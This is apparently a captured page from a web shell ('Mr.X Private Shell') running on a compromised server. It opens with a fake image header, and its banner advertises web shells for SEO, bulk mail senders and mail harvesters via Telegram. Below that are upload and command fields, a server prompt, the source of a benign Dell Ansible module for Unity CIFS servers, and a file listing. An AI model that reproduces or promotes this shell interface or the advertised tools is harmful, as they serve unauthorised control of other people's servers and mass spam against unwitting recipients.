����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright: (c) 2022, Dell Technologies

# Apache License version 2.0 (see MODULE-LICENSE or http://www.apache.org/licenses/LICENSE-2.0.txt)

"""Ansible module for managing CIFS server on Unity"""

from __future__ import absolute_import, division, print_function

__metaclass__ = type

DOCUMENTATION = r'''
module: cifsserver
version_added: '1.4.0'
short_description: Manage CIFS server on Unity storage system
description:
- Managing the CIFS server on the Unity storage system includes creating CIFS server, getting CIFS server details
  and deleting CIFS server.

extends_documentation_fragment:
  - dellemc.unity.unity

author:
- Akash Shendge (@shenda1) <ansible.team@dell.com>

options:
  nas_server_name:
    description:
    - Name of the NAS server on which CIFS server will be hosted.
    type: str
  nas_server_id:
    description:
    - ID of the NAS server on which CIFS server will be hosted.
    type: str
  netbios_name:
    description:
    - The computer name of the SMB server in Windows network.
    type: str
  workgroup:
    description:
    - Standalone SMB server workgroup.
    type: str
  local_password:
    description:
    - Standalone SMB server administrator password.
    type: str
  domain:
    description:
    - The domain name where the SMB server is registered in Active Directory.
    type: str
  domain_username:
    description:
    - Active Directory domain user name.
    type: str
  domain_password:
    description:
    - Active Directory domain password.
    type: str
  cifs_server_name:
    description:
    - The name of the CIFS server.
    type: str
  cifs_server_id:
    description:
    - The ID of the CIFS server.
    type: str
  interfaces:
    description:
    - List of file IP interfaces that service CIFS protocol of SMB server.
    type: list
    elements: str
  unjoin_cifs_server_account:
    description:
    - Keep SMB server account unjoined in Active Directory after deletion.
    - C(false) specifies keep SMB server account joined after deletion.
    - C(true) specifies unjoin SMB server account from Active Directory before deletion.
    type: bool
  state:
    description:
    - Define whether the CIFS server should exist or not.
    choices: [absent, present]
    required: true
    type: str
notes:
- The I(check_mode) is supported.
'''

EXAMPLES = r'''
- name: Create CIFS server belonging to Active Directory
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    nas_server_name: "test_nas1"
    cifs_server_name: "test_cifs"
    domain: "ad_domain"
    domain_username: "domain_username"
    domain_password: "domain_password"
    state: "present"

- name: Get CIFS server details using CIFS server ID
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    cifs_server_id: "cifs_37"
    state: "present"

- name: Get CIFS server details using NAS server name
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    nas_server_name: "test_nas1"
    state: "present"

- name: Delete CIFS server
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    cifs_server_id: "cifs_37"
    unjoin_cifs_server_account: True
    domain_username: "domain_username"
    domain_password: "domain_password"
    state: "absent"

- name: Create standalone CIFS server
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    netbios_name: "ANSIBLE_CIFS"
    workgroup: "ansible"
    local_password: "Password123!"
    nas_server_name: "test_nas1"
    state: "present"

- name: Get CIFS server details using netbios name
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    netbios_name: "ANSIBLE_CIFS"
    state: "present"

- name: Delete standalone CIFS server
  dellemc.unity.cifsserver:
    unispherehost: "{{unispherehost}}"
    username: "{{username}}"
    password: "{{password}}"
    validate_certs: "{{validate_certs}}"
    cifs_server_id: "cifs_40"
    state: "absent"
'''

RETURN = r'''
changed:
    description: Whether or not the resource has changed.
    returned: always
    type: bool
    sample: true

cifs_server_details:
    description: Details of the CIFS server.
    returned: When CIFS server exists
    type: dict
    contains:
        id:
            description: Unique identifier of the CIFS server instance.
            type: str
        name:
            description: User-specified name for the SMB server.
            type: str
        netbios_name:
            description: Computer Name of the SMB server in windows network.
            type: str
        description:
            description: Description of the SMB server.
            type: str
        domain:
            description: Domain name where SMB server is registered in Active Directory.
            type: str
        workgroup:
            description: Windows network workgroup for the SMB server.
            type: str
        is_standalone:
            description: Indicates whether the SMB server is standalone.
            type: bool
        nasServer:
            description: Information about the NAS server in the storage system.
            type: dict
            contains:
                UnityNasServer:
                    description: Information about the NAS server in the storage system.
                    type: dict
                    contains:
                        id:
                            description: Unique identifier of the NAS server instance.
                            type: str
        file_interfaces:
            description: The file interfaces associated with the NAS server.
            type: dict
            contains:
                UnityFileInterfaceList:
                    description: List of file interfaces associated with the NAS server.
                    type: list
                    contains:
                        UnityFileInterface:
                            description: Details of file interface associated with the NAS server.
                            type: dict
                            contains:
                                id:
                                    description: Unique identifier of the file interface.
                                    type: str
        smb_multi_channel_supported:
            description: Indicates whether the SMB 3.0+ multichannel feature is supported.
            type: bool
        smb_protocol_versions:
            description: Supported SMB protocols, such as 1.0, 2.0, 2.1, 3.0, and so on.
            type: list
        smbca_supported:
            description: Indicates whether the SMB server supports continuous availability.
            type: bool
    sample: {
        "description": null,
        "domain": "xxx.xxx.xxx.com",
        "existed": true,
        "file_interfaces": {
            "UnityFileInterfaceList": [
                {
                    "UnityFileInterface": {
                        "hash": -9223363258905013637,
                        "id": "if_43"
                    }
                }
            ]
        },
        "hash": -9223363258905010379,
        "health": {
            "UnityHealth": {
                "hash": 8777949765559
            }
        },
        "id": "cifs_40",
        "is_standalone": false,
        "last_used_organizational_unit": "ou=Computers,ou=Dell NAS servers",
        "name": "ansible_cifs",
        "nas_server": {
            "UnityNasServer": {
                "hash": 8777949765531,
                "id": "nas_18"
            }
        },
        "netbios_name": "ANSIBLE_CIFS",
        "smb_multi_channel_supported": true,
        "smb_protocol_versions": [
            "1.0",
            "2.0",
            "2.1",
            "3.0"
        ],
        "smbca_supported": true,
        "workgroup": null
    }
'''

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.dellemc.unity.plugins.module_utils.storage.dell import utils

LOG = utils.get_logger('cifsserver')


application_type = "Ansible/1.6.0"


class CIFSServer(object):
    """Class with CIFS server operations"""

    def __init__(self):
        """Define all parameters required by this module"""
        self.module_params = utils.get_unity_management_host_parameters()
        self.module_params.update(get_cifs_server_parameters())

        mutually_exclusive = [['nas_server_name', 'nas_server_id'], ['cifs_server_id', 'cifs_server_name'],
                              ['cifs_server_id', 'netbios_name']]
        required_one_of = [['cifs_server_id', 'cifs_server_name', 'netbios_name', 'nas_server_name', 'nas_server_id']]

        # initialize the Ansible module
        self.module = AnsibleModule(
            argument_spec=self.module_params,
            supports_check_mode=True,
            mutually_exclusive=mutually_exclusive,
            required_one_of=required_one_of
        )
        utils.ensure_required_libs(self.module)

        self.unity_conn = utils.get_unity_unisphere_connection(
            self.module.params, application_type)
        LOG.info('Check Mode Flag %s', self.module.check_mode)

    def get_details(self, cifs_server_id=None, cifs_server_name=None, netbios_name=None, nas_server_id=None):
        """Get CIFS server details.
            :param: cifs_server_id: The ID of the CIFS server
            :param: cifs_server_name: The name of the CIFS server
            :param: netbios_name: Name of the SMB server in windows network
            :param: nas_server_id: The ID of the NAS server
            :return: Dict containing CIFS server details if exists
        """

        LOG.info("Getting CIFS server details")
        id_or_name = get_id_name(cifs_server_id, cifs_server_name, netbios_name, nas_server_id)

        try:
            if cifs_server_id:
                cifs_server_details = self.unity_conn.get_cifs_server(_id=cifs_server_id)
                return process_response(cifs_server_details)

            if cifs_server_name:
                cifs_server_details = self.unity_conn.get_cifs_server(name=cifs_server_name)
                return process_response(cifs_server_details)

            if netbios_name:
                cifs_server_details = self.unity_conn.get_cifs_server(netbios_name=netbios_name)
                if len(cifs_server_details) > 0:
                    return process_dict(cifs_server_details._get_properties())

            if nas_server_id:
                cifs_server_details = self.unity_conn.get_cifs_server(nas_server=nas_server_id)
                if len(cifs_server_details) > 0:
                    return process_dict(cifs_server_details._get_properties())
            return None
        except utils.HttpError as e:
            if e.http_status == 401:
                msg = "Failed to get CIFS server: %s due to incorrect " \
                      "username/password error: %s" % (id_or_name, str(e))
            else:
                msg = "Failed to get CIFS server: %s with error: %s" % (id_or_name, str(e))
        except utils.UnityResourceNotFoundError:
            msg = "CIFS server with ID %s not found" % cifs_server_id
            LOG.info(msg)
            return None
        except utils.StoropsConnectTimeoutError as e:
            msg = "Failed to get CIFS server: %s with error: %s. Please check unispherehost IP: %s" % (
                id_or_name, str(e), self.module.params['unispherehost'])
        except Exception as e:
            msg = "Failed to get details of CIFS server: %s with error: %s" % (id_or_name, str(e))
        LOG.error(msg)
        self.module.fail_json(msg=msg)

    def get_cifs_server_instance(self, cifs_server_id):
        """Get CIFS server instance.
            :param: cifs_server_id: The ID of the CIFS server
            :return: Return CIFS server instance if exists
        """

        try:
            cifs_server_obj = utils.UnityCifsServer.get(cli=self.unity_conn._cli, _id=cifs_server_id)
            return cifs_server_obj

        except Exception as e:
            error_msg = "Failed to get the CIFS server %s instance" \
                        " with error %s" % (cifs_server_id, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def delete_cifs_server(self, cifs_server_id, skip_unjoin=None, domain_username=None, domain_password=None):
        """Delete CIFS server.
            :param: cifs_server_id: The ID of the CIFS server
            :param: skip_unjoin: Flag indicating whether to unjoin SMB server account from AD before deletion
            :param: domain_username: The domain username
            :param: domain_password: The domain password
            :return: Return True if CIFS server is deleted
        """

        LOG.info("Deleting CIFS server")
        try:
            if not self.module.check_mode:
                cifs_obj = self.get_cifs_server_instance(cifs_server_id=cifs_server_id)
                cifs_obj.delete(skip_domain_unjoin=skip_unjoin, username=domain_username, password=domain_password)
            return True

        except Exception as e:
            msg = "Failed to delete CIFS server: %s with error: %s" % (cifs_server_id, str(e))
            LOG.error(msg)
            self.module.fail_json(msg=msg)

    def get_nas_server_id(self, nas_server_name):
        """Get NAS server ID.
            :param: nas_server_name: The name of NAS server
            :return: Return NAS server ID if exists
        """

        LOG.info("Getting NAS server ID")
        try:
            obj_nas = self.unity_conn.get_nas_server(name=nas_server_name)
            return obj_nas.get_id()

        except Exception as e:
            msg = "Failed to get details of NAS server: %s with error: %s" % (nas_server_name, str(e))
            LOG.error(msg)
            self.module.fail_json(msg=msg)

    def is_modify_interfaces(self, cifs_server_details):
        """Check if modification is required in existing interfaces
            :param: cifs_server_details: CIFS server details
            :return: Flag indicating if modification is required
        """

        existing_interfaces = []
        if cifs_server_details['file_interfaces']['UnityFileInterfaceList']:
            for interface in cifs_server_details['file_interfaces']['UnityFileInterfaceList']:
                existing_interfaces.append(interface['UnityFileInterface']['id'])

        for interface in self.module.params['interfaces']:
            if interface not in existing_interfaces:
                return True
        return False

    def is_modification_required(self, cifs_server_details):
        """Check if modification is required in existing CIFS server
            :param: cifs_server_details: CIFS server details
            :return: Flag indicating if modification is required
        """

        LOG.info("Checking if any modification is required")
        param_list = ['netbios_name', 'workgroup']
        for param in param_list:
            if self.module.params[param] is not None and cifs_server_details[param] is not None and \
                    self.module.params[param].upper() != cifs_server_details[param]:
                return True

        # Check for domain
        if self.module.params['domain'] is not None and cifs_server_details['domain'] is not None and \
                self.module.params['domain'] != cifs_server_details['domain']:
            return True

        # Check file interfaces
        if self.module.params['interfaces'] is not None:
            return self.is_modify_interfaces(cifs_server_details)
        return False

    def create_cifs_server(self, nas_server_id, interfaces=None, netbios_name=None, cifs_server_name=None, domain=None,
                           domain_username=None, domain_password=None, workgroup=None, local_password=None):
        """Create CIFS server.
            :param: nas_server_id: The ID of NAS server
            :param: interfaces: List of file interfaces
            :param: netbios_name: Name of the SMB server in windows network
            :param: cifs_server_name: Name of the CIFS server
            :param: domain: The domain name where the SMB server is registered in Active Directory
            :param: domain_username: The domain username
            :param: domain_password: The domain password
            :param: workgroup: Standalone SMB server workgroup
            :param: local_password: Standalone SMB server admin password
            :return: Return True if CIFS server is created
        """

        LOG.info("Creating CIFS server")
        try:
            if not self.module.check_mode:
                utils.UnityCifsServer.create(cli=self.unity_conn._cli, nas_server=nas_server_id, interfaces=interfaces,
                                             netbios_name=netbios_name, name=cifs_server_name, domain=domain,
                                             domain_username=domain_username, domain_password=domain_password,
                                             workgroup=workgroup, local_password=local_password)
            return True
        except Exception as e:
            msg = "Failed to create CIFS server with error: %s" % (str(e))
            LOG.error(msg)
            self.module.fail_json(msg=msg)

    def validate_params(self):
        """Validate the parameters
        """

        param_list = ['nas_server_id', 'nas_server_name', 'domain', 'cifs_server_id', 'cifs_server_name',
                      'local_password', 'netbios_name', 'workgroup', 'domain_username', 'domain_password']

        msg = "Please provide valid {0}"
        for param in param_list:
            if self.module.params[param] is not None and len(self.module.params[param].strip()) == 0:
                errmsg = msg.format(param)
                self.module.fail_json(msg=errmsg)

    def perform_module_operation(self):
        """
        Perform different actions on CIFS server module based on parameters
        passed in the playbook
        """
        cifs_server_id = self.module.params['cifs_server_id']
        cifs_server_name = self.module.params['cifs_server_name']
        nas_server_id = self.module.params['nas_server_id']
        nas_server_name = self.module.params['nas_server_name']
        netbios_name = self.module.params['netbios_name']
        workgroup = self.module.params['workgroup']
        local_password = self.module.params['local_password']
        domain = self.module.params['domain']
        domain_username = self.module.params['domain_username']
        domain_password = self.module.params['domain_password']
        interfaces = self.module.params['interfaces']
        unjoin_cifs_server_account = self.module.params['unjoin_cifs_server_account']
        state = self.module.params['state']

        # result is a dictionary that contains changed status and CIFS server details
        result = dict(
            changed=False,
            cifs_server_details={}
        )

        # Validate the parameters
        self.validate_params()

        if nas_server_name is not None:
            nas_server_id = self.get_nas_server_id(nas_server_name)

        cifs_server_details = self.get_details(cifs_server_id=cifs_server_id,
                                               cifs_server_name=cifs_server_name,
                                               netbios_name=netbios_name,
                                               nas_server_id=nas_server_id)

        # Check if modification is required
        if cifs_server_details:
            if cifs_server_id is None:
                cifs_server_id = cifs_server_details['id']
            modify_flag = self.is_modification_required(cifs_server_details)
            if modify_flag:
                self.module.fail_json(msg="Modification is not supported through Ansible module")

        if not cifs_server_details and state == 'present':
            if not nas_server_id:
                self.module.fail_json(msg="Please provide nas server id/name to create CIFS server.")

            if any([netbios_name, workgroup, local_password]) and not all([netbios_name, workgroup, local_password]):
                msg = "netbios_name, workgroup and local_password " \
                      "are required to create standalone CIFS server."
                LOG.error(msg)
                self.module.fail_json(msg=msg)

            result['changed'] = self.create_cifs_server(nas_server_id, interfaces, netbios_name,
                                                        cifs_server_name, domain, domain_username, domain_password,
                                                        workgroup, local_password)

        if state == 'absent' and cifs_server_details:
            skip_unjoin = None
            if unjoin_cifs_server_account is not None:
                skip_unjoin = not unjoin_cifs_server_account
            result['changed'] = self.delete_cifs_server(cifs_server_id, skip_unjoin, domain_username,
                                                        domain_password)

        if state == 'present':
            result['cifs_server_details'] = self.get_details(cifs_server_id=cifs_server_id,
                                                             cifs_server_name=cifs_server_name,
                                                             netbios_name=netbios_name,
                                                             nas_server_id=nas_server_id)
            LOG.info("Process Dict: %s", result['cifs_server_details'])
        self.module.exit_json(**result)


def get_id_name(cifs_server_id=None, cifs_server_name=None, netbios_name=None, nas_server_id=None):
    """Get the id_or_name.
        :param: cifs_server_id: The ID of CIFS server
        :param: cifs_server_name: The name of CIFS server
        :param: netbios_name: Name of the SMB server in windows network
        :param: nas_server_id: The ID of NAS server
        :return: Return id_or_name
    """
    if cifs_server_id:
        id_or_name = cifs_server_id
    elif cifs_server_name:
        id_or_name = cifs_server_name
    elif netbios_name:
        id_or_name = netbios_name
    else:
        id_or_name = nas_server_id
    return id_or_name


def process_response(cifs_server_details):
    """Process CIFS server details.
        :param: cifs_server_details: Dict containing CIFS server details
        :return: Processed dict containing CIFS server details
    """
    if cifs_server_details.existed:
        return cifs_server_details._get_properties()


def process_dict(cifs_server_details):
    """Process CIFS server details.
        :param: cifs_server_details: Dict containing CIFS server details
        :return: Processed dict containing CIFS server details
    """
    param_list = ['description', 'domain', 'file_interfaces', 'health', 'id', 'is_standalone', 'name', 'nas_server'
                  'netbios_name', 'smb_multi_channel_supported', 'smb_protocol_versions', 'smbca_supported',
                  'workgroup', 'netbios_name']

    for param in param_list:
        if param in cifs_server_details:
            cifs_server_details[param] = cifs_server_details[param][0]
    return cifs_server_details


def get_cifs_server_parameters():
    """This method provide parameters required for the ansible
       CIFS server module on Unity"""
    return dict(
        cifs_server_id=dict(), cifs_server_name=dict(),
        netbios_name=dict(), workgroup=dict(),
        local_password=dict(no_log=True), domain=dict(),
        domain_username=dict(), domain_password=dict(no_log=True),
        nas_server_name=dict(), nas_server_id=dict(),
        interfaces=dict(type='list', elements='str'),
        unjoin_cifs_server_account=dict(type='bool'),
        state=dict(required=True, type='str', choices=['present', 'absent']),
    )


def main():
    """Create Unity CIFS server object and perform action on it
       based on user input from playbook"""
    obj = CIFSServer()
    obj.perform_module_operation()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
cifsserver.py File 23.98 KB 0644
consistencygroup.py File 59.71 KB 0644
filesystem.py File 76.11 KB 0644
filesystem_snapshot.py File 30.21 KB 0644
host.py File 39.13 KB 0644
info.py File 54.49 KB 0644
interface.py File 18.75 KB 0644
nasserver.py File 47.26 KB 0644
nfs.py File 70.05 KB 0644
nfsserver.py File 19.93 KB 0644
smbshare.py File 34.9 KB 0644
snapshot.py File 27.47 KB 0644
snapshotschedule.py File 38.27 KB 0644
storagepool.py File 34.52 KB 0644
tree_quota.py File 26.39 KB 0644
user_quota.py File 39.42 KB 0644
volume.py File 47.02 KB 0644